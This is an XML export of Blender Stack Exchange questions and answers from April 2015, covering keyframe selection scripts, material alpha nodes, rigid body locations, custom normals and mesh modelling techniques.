  <row Id="28016" PostTypeId="2" ParentId="28005" CreationDate="2015-04-02T19:34:47.873" Score="1" Body="&lt;p&gt;It seems there is no direct way to get a list of the selected key frames but you can loop through them and check point by point:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for one object and current action :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object&#xA;action = obj.animation_data.action&#xA;&#xA;for fcurve in action.fcurves :&#xA;    for p in fcurve.keyframe_points :&#xA;        print(p.co[0], p.select_control_point )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;more detailed :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.context.object             #active object&#xA;action = obj.animation_data.action   #current action&#xA;&#xA;print(action.name)&#xA;for g in action.groups :&#xA;    print(&quot;&quot;,g.name)&#xA;    for channel in g.channels :   # channel is fcurve&#xA;        print(&quot;  %s[%s] :&quot;%(g.name,channel.array_index))&#xA;        for p in channel.keyframe_points :&#xA;            print(&quot;    is selected at frame %d %s&quot;%(p.co[0], p.select_control_point ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for the whole scene you cane use :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for action in bpy.data.animation_data.actions :&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;for the action editor or dopesheet :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for area in bpy.context.screen.areas:  #loop through areas&#xA;    if area.type == 'DOPESHEET_EDITOR':   #find the dopesheet&#xA;        dopesheet = area.spaces[0]&#xA;        print(dopesheet.type)&#xA;        action = dopesheet.action&#xA;        for fcurve in action.fcurves :&#xA;            for p in fcurve.keyframe_points :&#xA;                print(p.[0],p.select_control_point)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-02T19:34:47.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28018" PostTypeId="1" CreationDate="2015-04-02T19:43:40.923" Score="1" ViewCount="292" Body="&lt;p&gt;I am doing animation using MakeHuman and blender in the Cycle Render mode. As mentioned this image, I try to fix materials for the skin of the person. I just need to know How can change the parameter value of alpha. Any help?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/WVURY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11289" LastActivityDate="2015-04-02T19:58:29.010" Title="How Can I change the Alpha parameter in this Material nodes" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28019" PostTypeId="2" ParentId="27951" CreationDate="2015-04-02T19:50:13.240" Score="0" Body="&lt;p&gt;Look in the outliner window to make sure the camera icon switch for the particle object is enabled and bright.  This means render the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is quite possible to see the particles in view mode and no particles in render for exactly this reason.  You may place your object particle in a different layer to keep it handy and out of camera view except in its role as a particle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look in modifiers panel to see if modifier is enabled in render mode.&#xA;The area has the eye , then arrow, then camera for each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Render Layers panel, section Layer, verify the scene and layers include your desired results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ksYzr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Verify your [global] coordinate selection for the particle system object particle suit your intended purpose and the location is not modified by render only modifiers.  Are your particles moved off viewport?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I used casual explanation and names as per the user interface)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always I may say something you may already know or have tested.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-04-03T00:49:47.083" LastActivityDate="2015-04-03T00:49:47.083" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="28020" PostTypeId="2" ParentId="28018" CreationDate="2015-04-02T19:58:29.010" Score="6" Body="&lt;p&gt;use the math node to modify the alpha output of the image :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IFdaa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-02T19:58:29.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28021" PostTypeId="2" ParentId="27993" CreationDate="2015-04-02T20:21:37.440" Score="5" Body="&lt;p&gt;Seems like there is some aliasing issue with your alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can see two solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the texture interpolation from &lt;strong&gt;Linear&lt;/strong&gt; to &lt;strong&gt;Closest&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ndzD5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that doesn't work try adding a Math node to the alpha channel and set the mode to Greater than and the value to .5 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EsrN0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-04-02T20:26:40.147" LastActivityDate="2015-04-02T20:26:40.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28022" PostTypeId="2" ParentId="27901" CreationDate="2015-04-02T20:33:26.530" Score="3" Body="&lt;p&gt;No it's not possible to adjust bones directly in global space with f-curves, because they are always parented to the armature or to themselves into bone chains. Such behavior you want only works on objects which transformation does not depend on other objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However by changing the rig design you can control the bones in global space with constraints:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hjr3W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the root bone follows global transforms of an empty. To control a bone further down the chain you would need to setup an IK for that bone in chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you probably want is to have the bone animate locally, then at some point &lt;em&gt;swith&lt;/em&gt; to global control and transform it precisely and then back switch to local am I right.. You can do this by animating the constraint's influence - the procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The constraint's influence is 0 and the bone is controlled locally. The Empty is at some random location.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Align the Empty Transforms to the bone with copying the bone's matrix to the Empty's matrix in Python Console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a.) Select bone: &lt;code&gt;mat = bpy.context.active_pose_bone.matrix&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b.) Select Empty: &lt;code&gt;bpy.context.active_object.matrix_world = mat&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now when they are aligned keyframe the influence to 1. The bone is controlled globally with that Empty now.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you are done with global select the bone and hit &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; Apply Visual Transform to Pose. Then keyframe the bone and influence back to 0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-02T20:33:26.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28023" PostTypeId="2" ParentId="28012" CreationDate="2015-04-02T21:07:23.540" Score="1" Body="&lt;p&gt;(Edited)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Snap a 3D cursor anywhere on that X line you need.&lt;/li&gt;&#xA;&lt;li&gt;Create a new plane.&lt;/li&gt;&#xA;&lt;li&gt;Press R to rotate, then X to lock to X axis and rotate a plane so it would be intersecting your figure.&lt;/li&gt;&#xA;&lt;li&gt;Go to modifiers tab and add boolen modifier.&lt;/li&gt;&#xA;&lt;li&gt;Select your figure as an object.&lt;/li&gt;&#xA;&lt;li&gt;Apply a modifier.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It should create a vertice on the intersection that you can use with snap tool.&lt;/p&gt;&#xA;" OwnerUserId="7531" LastEditorUserId="7531" LastEditDate="2015-04-03T00:03:34.990" LastActivityDate="2015-04-03T00:03:34.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28024" PostTypeId="2" ParentId="28013" CreationDate="2015-04-02T21:34:10.477" Score="19" Body="&lt;p&gt;The parameter A stands for &lt;em&gt;alpha&lt;/em&gt;, which is the transparency channel. An alpha value of zero represents full transparency and a value of 1.0 represents a fully opaque pixel. The RGB values are not affected by the alpha value.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="7742" LastEditDate="2015-04-03T00:50:57.657" LastActivityDate="2015-04-03T00:50:57.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28025" PostTypeId="2" ParentId="27994" CreationDate="2015-04-03T01:56:06.777" Score="1" Body="&lt;p&gt;I would recommend using one mesh. You can easily get the mesh you want in this instance by selecting the desired face, pressing &lt;kbd&gt;E&lt;/kbd&gt; to extrude and then &lt;kbd&gt;S&lt;/kbd&gt; to scale. Now press &lt;kbd&gt;E&lt;/kbd&gt; to extrude again, and you have the desired mesh, created in three simple commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mh5NU.gif&quot; alt=&quot;Modelling as one mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This method works in many other instances, even on N-Gon or Tri faces. This is a good general modelling technique to know for any modelling project.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-03T01:56:06.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28027" PostTypeId="2" ParentId="24522" CreationDate="2015-04-03T06:58:08.687" Score="1" Body="&lt;p&gt;You can only use scene strips of currently open scenes (linked or appended into the current VSE .blend file). You cannot appends a scene in directly to the VSE.&lt;/p&gt;&#xA;" OwnerUserId="1218" LastActivityDate="2015-04-03T06:58:08.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28028" PostTypeId="1" AcceptedAnswerId="28352" CreationDate="2015-04-03T07:30:53.757" Score="6" ViewCount="2181" Body="&lt;p&gt;I want to UV unwrap this hair mesh, and then texture it with a procedural Wave texture (parallel lines). I want the lines to converge to the tip of each spike of hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bCim6.jpg&quot; alt=&quot;MeshHair&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that I could do something like mark seams on sharp edges (or edge split modifier, unwrap, and remove doubles) to get the main pieces of the surface separated. But I do not know how to get them oriented to match the directions of the Wave lines cleanly, or how to change their tips to get the texture to converge probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What workflow would let me do this?&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2016-09-15T01:56:51.173" Title="Unwrapping Mesh Hair" Tags="&lt;mesh&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28029" PostTypeId="2" ParentId="23159" CreationDate="2015-04-03T07:57:38.873" Score="1" Body="&lt;p&gt;The only way it will work is at startup when you save your default Start-Up-File with file editor open and set to sort by date. This will only work when you just opened Blender though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anytime you click file_open button anywhere this resets to by date. Since the file open manager is generated dynamically from your current screen layout and has no callback it could be done only by some intrusive persistent script. Changing the space_filebrowser.py 55th line as Stacker suggested is a better option imho.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom addon file manager designed properly would also solve this, but it would work only through key-shortcut, because replacing present blender buttons with custom ones can only be done again by editing the source python files(:()&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-03T07:57:38.873" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28030" PostTypeId="1" AcceptedAnswerId="28033" CreationDate="2015-04-03T08:37:52.157" Score="1" ViewCount="115" Body="&lt;p&gt;When I render a deformed cube using the Cycles engine, an extra vertex which crosses the top of the shape diagonally is processed. This vertex does not appear in Edit mode. How do I stop the engine from &quot;halving&quot; the face?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TpZAl.png&quot; alt=&quot;Extra vertex in Cycles render&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13592" LastActivityDate="2015-04-03T11:46:00.287" Title="Extra vertex in Cycles render" Tags="&lt;cycles-render-engine&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28031" PostTypeId="1" AcceptedAnswerId="28032" CreationDate="2015-04-03T08:51:09.743" Score="10" ViewCount="1716" Body="&lt;p&gt;I would like to print out the location of an object with this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;print(obj.location)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It prints it out correctly, but when I animate this object (it's a rigid body) and then at a particular keyframe I run this script again, it just prints out the same location.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to set the frame with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.frame_set(fr)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Like it is mentioned in these two questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5636/how-can-i-get-the-location-of-an-object-at-each-keyframe&quot;&gt;How can I get the location of an object at each keyframe?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/14809/location-of-an-object-at-a-specific-frame&quot;&gt;Location of an object at a specific frame&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But the location just stays the same. How can I get the correct location of the cube?&lt;/p&gt;&#xA;" OwnerUserId="13580" LastEditorUserId="29301" LastEditDate="2018-10-16T07:06:10.843" LastActivityDate="2020-04-13T05:02:54.360" Title="Getting the location of rigid body object at current keyframe" Tags="&lt;python&gt;&lt;animation&gt;&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28032" PostTypeId="2" ParentId="28031" CreationDate="2015-04-03T09:15:16.533" Score="14" Body="&lt;p&gt;Use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;obj = bpy.data.objects[&quot;Cube&quot;]&#xA;print(obj.matrix_world.translation)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This gives you the location from object's matrix which changes each frame for rigid bodies&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-03T09:15:16.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28033" PostTypeId="2" ParentId="28030" CreationDate="2015-04-03T10:28:19.780" Score="2" Body="&lt;p&gt;What you have is an extra edge. From what can be told from the picture, the positions of the vertices forming that face are not flat, and so you are asking it to make an impossible shape. You cannot have a square with diagonal verts at different heights that do not create a flat plane. It is showing the triangle because you are asking for something that is not possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Smooth shading may help. But for the shape you want, you need more geometry for it to be possible.&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-04-03T10:28:19.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28034" PostTypeId="1" AcceptedAnswerId="28052" CreationDate="2015-04-03T11:02:47.857" Score="1" ViewCount="1254" Body="&lt;p&gt;Blender finally added the possibility to use custom normals in version 2.74. YAY.&#xA;I've been playing with them to export and import a custom file format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: I created the custom normals for a mesh, then call the calculate split normals and tessfaces methods&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C.active_object.data.calc_normals_split()&#xA;C.active_object.data.update(calc_edges=True, calc_tessface=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and I can see the custom normals I expected&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Vector(C.active_object.data.tessfaces[0].normal)&#xA;Vector(C.active_object.data.tessfaces[0].split_normals[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But if I try to use the &lt;strong&gt;Set Split Normals&lt;/strong&gt; Modifier to create the normals, and even thou I can see the new normals working in the 3Dview, I can't find a ways to access those normals without appliying the modifier. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can it be done?&#xA;How can access the new normals data without applying the modifier?&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-04-03T16:29:14.137" Title="Blender 2.74 exporting custom normals without applying split normals modifier" Tags="&lt;python&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28035" PostTypeId="1" CreationDate="2015-04-03T11:07:53.403" Score="2" ViewCount="722" Body="&lt;p&gt;I am making a volcano eruption simulation and I need to know how to&#xA;make fluid fly out of a container using a force field?&lt;/p&gt;&#xA;" OwnerUserId="13565" LastActivityDate="2015-04-03T11:07:53.403" Title="how do I make a force field throw out liquid?" Tags="&lt;force-fields&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28036" PostTypeId="2" ParentId="28030" CreationDate="2015-04-03T11:46:00.287" Score="1" Body="&lt;p&gt;Looks like the the vertices of that surface are not co-planar. This breaks the face and to solve it blender displays 2 tris putting the new virtual edge were it finds most convenient. In edit mode you can't see it just because the shading is not very detailed, but if you turn on ambien oclusion (version 2.74) it will show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can enter edit and make the 4 vertices co-planar or e to add an edge and set it to shade smooth. But if you want more control of the curvature you will need to add more geometry.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-04-03T11:46:00.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28037" PostTypeId="1" CreationDate="2015-04-03T12:09:00.833" Score="2" ViewCount="1398" Body="&lt;p&gt;I'm looking for a way to draw strokes with Texture Paint with soft brush and Strength set to low so that all painted strokes to be the same strength. The problem is that if the mouse button / tablet pen was released (while the stroke wasn't finished), it's better to erase the whole streak, because the strokes will overlay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9JEMo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9JEMo.jpg&quot; alt=&quot;overlapping strokes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently if &lt;em&gt;Strength&lt;/em&gt; is set to something other than 0 the strokes will be painted as it's shown on the left. I'm looking for a way to paint with &lt;em&gt;Stregth&lt;/em&gt; set to low and get result like on the right (the result on the right was created with &lt;em&gt;Strength&lt;/em&gt; set to 1).&lt;br&gt;&#xA;It seems that in the &lt;a href=&quot;https://www.blender.org/manual/en/sculpt_paint/painting/texture_paint/options.html#common&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; is written about blend modes, but either no denial nor approval on whether this is possible. &lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2016-12-03T10:54:56.813" LastActivityDate="2016-12-03T10:54:56.813" Title="Turn off brush overlay in Texture Paint mode?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28038" PostTypeId="1" CreationDate="2015-04-03T13:06:28.527" Score="2" ViewCount="117" Body="&lt;p&gt;I want to export a plant with the &lt;a href=&quot;http://www.cryblend.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;CryBlend Addon&lt;/a&gt;. In Blender are 2 Textures applied to the model. When I click on export it always returns the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;There is more than one Texture of type diffuse. Please correct that&#xA;  and try again&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/150/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=150&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any solution for it?&lt;/p&gt;&#xA;" OwnerUserId="13598" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-03T13:37:23.517" Title="CryBlend error: &quot;There is more than one Texture of type diffuse. Please correct that and try again&quot;" Tags="&lt;export&gt;&lt;add-on&gt;&lt;external-applications&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="28039" PostTypeId="1" AcceptedAnswerId="28056" CreationDate="2015-04-03T13:11:22.493" Score="2" ViewCount="556" Body="&lt;p&gt;I have recently stuck up on problem where I have to set object's x and y rotation to 0.0, but keep z rotation equal to the current one (best way- don't affect at all). How to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of something similar to that what I used for other data(&lt;code&gt;own.worldOrientation[0] = 0.0&lt;/code&gt;), but it didn't appear to work!&lt;/p&gt;&#xA;" OwnerUserId="8363" LastEditorUserId="8363" LastEditDate="2015-04-03T13:25:45.277" LastActivityDate="2015-04-04T20:00:52.930" Title="How to apply rotations for seperate object's axis?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="28042" PostTypeId="1" AcceptedAnswerId="28046" CreationDate="2015-04-03T13:46:18.137" Score="12" ViewCount="3114" Body="&lt;p&gt;Keyboard keys sound easy but their particular shape is really weird, and keeps tripping me up. Specifically my keyboard keys, but I'm pretty sure they are similar to other keyboard keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few photos for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The corners are rounded and the top is sloped inward.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.imgur.com/z8H02ZL.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/z8H02ZLm.jpg&quot; alt=&quot;reference picture of a keyboard key&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we can't forget that the top (that is already slopped inward) is also slopped downhill.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.imgur.com/q8ZZSGA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/q8ZZSGAm.jpg&quot; alt=&quot;reference picture of a keyboard key&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried starting with the rounded corners, but I can't add the slopped top without some horrible triangle topology. I've also tried starting with the slopped top, but then I have no idea how to add the corners.&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="2217" LastEditDate="2015-04-10T15:34:59.907" LastActivityDate="2015-04-10T15:34:59.907" Title="How to Model a Keyboard key?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;&lt;workflow&gt;&lt;editing&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="28043" PostTypeId="1" CreationDate="2015-04-03T14:11:22.500" Score="1" ViewCount="44" Body="&lt;p&gt;I have an object with a single mesh, and it has a subdivision surface modifier on it. I'm using BGE, and I cannot figure out, how to render both the wireframe (let's say in white) and the faces (let's say in red) of this object at the same time.&lt;/p&gt;&#xA;" OwnerUserId="1989" LastActivityDate="2015-04-03T17:41:07.903" Title="Multiple materials in BGE" Tags="&lt;rendering&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;objects&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-04-03T21:13:16.623" ContentLicense="CC BY-SA 3.0" />
  <row Id="28044" PostTypeId="1" CreationDate="2015-04-03T14:13:41.503" Score="0" ViewCount="666" Body="&lt;p&gt;I have seen a tutorial on using a plugin for Curves in Blender.&#xA;Called Curve Tool.&#xA;Doesn't seem to work in Blender 2.74.&#xA;What is the trick?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to &quot;loft&quot; between curves.&lt;/p&gt;&#xA;" OwnerUserId="11124" LastActivityDate="2016-05-18T07:57:21.533" Title="How do you activate the Curve Tool in the latest version of Blender?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28045" PostTypeId="1" CreationDate="2015-04-03T14:43:53.820" Score="1" ViewCount="1077" Body="&lt;p&gt;I want to detach a head from my character (i'm making modular heads for my game) - to do this, i split edges ('Edge Split') around neck, select only the head and press P to detach. It works, but it is very noticeable in place where edges were splitted - i guess because normals of these edges were changed while splitting. &#xA;Is there a way to split edges AND retain smooth transition between splitted faces (just like it was before splitting)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ALev.jpg&quot; alt=&quot;Visible normals after splitting&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastActivityDate="2015-04-03T14:43:53.820" Title="How to split edges without changing normals?" Tags="&lt;normals&gt;&lt;edges&gt;&lt;faces&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28046" PostTypeId="2" ParentId="28042" CreationDate="2015-04-03T14:54:11.137" Score="23" Body="&lt;p&gt;In short, start from a cube. (in the gif I have a mirror modifier to save time)&lt;br&gt;&#xA;Delete the bottom face.&lt;br&gt;&#xA;Add loop cuts for the rounded top.&lt;br&gt;&#xA;Position the top correctly, by simply &lt;kbd&gt;G&lt;/kbd&gt; grabing, and &lt;kbd&gt;R&lt;/kbd&gt; rotating and &lt;kbd&gt;S&lt;/kbd&gt; sclaing the top geometry.&lt;br&gt;&#xA;Use proportional editing &lt;kbd&gt;O&lt;/kbd&gt; to create the dip in the top.&lt;br&gt;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; to bevel the vertical sides.&lt;br&gt;&#xA;&lt;em&gt;(optional)&lt;/em&gt; Remove the Ngons in the top, that beveling the sides created.&lt;br&gt;&#xA;Bevel the top ridge to make it smother and more realistic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://giant.gfycat.com/BogusTanImperialeagle.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.320" LastActivityDate="2015-04-03T14:54:11.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="28047" PostTypeId="2" ParentId="27490" CreationDate="2015-04-03T15:07:15.570" Score="3" Body="&lt;p&gt;Finally, I solved this problem using static variable.&lt;/p&gt;&#xA;&#xA;&lt;pre class=&quot;lang-python prettyprint-override&quot;&gt;&lt;code&gt;class SelectFace(bpy.types.Operator):&#xA;    bl_label = &quot;Select Face&quot;&#xA;    selected_faces = None&#xA;    def __init__(self):&#xA;        SelectFace.selected_faces = None&#xA;    def execute(self, context):&#xA;        SelectFace.selected_faces = ... # get selected faces.&#xA;        .....&#xA;class OperationAboutSelectedFaces(bpy.types.Operator):&#xA;    bl_label = &quot;Operation About selected Face&quot;&#xA;    def __init__(self):&#xA;        selected_faces = SelectFace.selected_faces&#xA;    def execute(self, context):&#xA;        # some operation to &quot;selected_faces&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for your advice.&lt;/p&gt;&#xA;" OwnerUserId="13317" LastActivityDate="2015-04-03T15:07:15.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
